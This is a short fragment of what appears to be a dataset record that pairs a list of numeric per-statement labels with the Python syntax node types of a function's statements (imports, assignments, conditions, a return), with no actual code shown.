]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "ImportFrom'", "ImportFrom'", "Import'", "Assign'", "Assign'", "FunctionDef'", "Docstring", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Expr'", "Assign'", "Expr'", "Assign'", "For", "Assign'", "Assign'", "Condition", "Assign'", "Assign'", "Assign'", "Condition", "Condition", "Assign'", "Assign'", "Assign'", "Condition", "Assign'", "Assign'", "Return'", "Expr'" ]